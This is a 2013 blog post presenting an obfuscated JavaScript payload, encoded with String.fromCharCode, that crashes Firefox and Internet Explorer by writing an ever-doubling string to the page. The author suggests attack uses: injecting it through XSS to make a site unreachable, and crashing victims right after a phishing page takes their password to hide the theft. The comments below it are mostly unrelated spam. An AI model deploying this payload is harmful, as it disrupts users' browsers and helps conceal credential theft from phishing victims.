Monday, 2 December 2013

DOS - Mozilla Firefox & Internet Explorer

Since some time ( I saw it at least a year ago ) there is available javascript code that cause DOS in newest versions of FF and IE. Unfortunately it doesn't work in Chrome, because each card has own process. I don't know what about Chrome or Opera, You can test it and let me know in comments. It was already reported to Mozilla long time ago ( I reported too ) but it seems they are not going to fix it.

Javascript code:
var a=String.fromCharCode(60,115,99,114,105,112,116,62,118,97,114,32,97,61,34,60,109 ,97,114,113,117,101,101,62,97,34,59,119,104,105,108,101,40,49,41,123,97,61,97,43 ,97,59,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,97,41,59,125,60, 47,115,99,114,105,112,116,62);

For test how and if it works:

How it can be useful
You can say its useless and good just for making friends angry,
not only...

1. An attacker may add this code to website, so everyone who visit it will get crash, it will make website unreachable. Probably now you think - if attacker has access to website he can just delete main page or do something simpler than crashing visitors browsers. Yes, but javascript can be used in XSS attack and then its useful.

2. Attacker can also add it after phishing attack, after password getting step. Thanks to this attacker don't have to worry to show correct messages and redirection. Whats more after running that he can add ip/browser rule, so when victim visit phishing link again, will be redirected to real page. After one crash none will think something is wrong (in ff flash plugin often crash itself) and when he visit page second time, this time there will be nothing suspicious.

3. As everywhere in IT, the only limit is imagination.

At the end, Mozilla respond:


  1. Na Chrome exploit nie zawiesza przeglądarki, może dlatego że każda karta to oddzielny proces który można bez problemu skillować.

  2. Interestingly, a firewall program pays special mind to possibly malignant associations from being made to your portable PC or PC without your consent. It screens the focuses (called ports) where such associations are made.

  3. Could the Internet as we know it today become a controlled network operated by governments and multinational corporations? With multimedia piracy and social networking becoming uncontrollable, the internet as we know it could face an uncertain future.

  4. The large US carriers ultimately had control of the networks, and were the original Tier 1 Internet providers.Chrome Browser Using too much computer ram

  5. If so, then you are on your to certification.ann arbor seo

  6. This is such a great resource that you are providing and you give it away for free. Maharashtra Ration Card Application

  7. According to Wikipedia, an IXP is a physical infrastructure that allows different Internet Service Providers to exchange Internet traffic between their networks (autonomous systems) by means of mutual peering agreements, which allows traffic to be exchanged without cost. find my ip address

  8. Features and bells and whistles are great but if it affects your computer's performance it is going to slow productivity.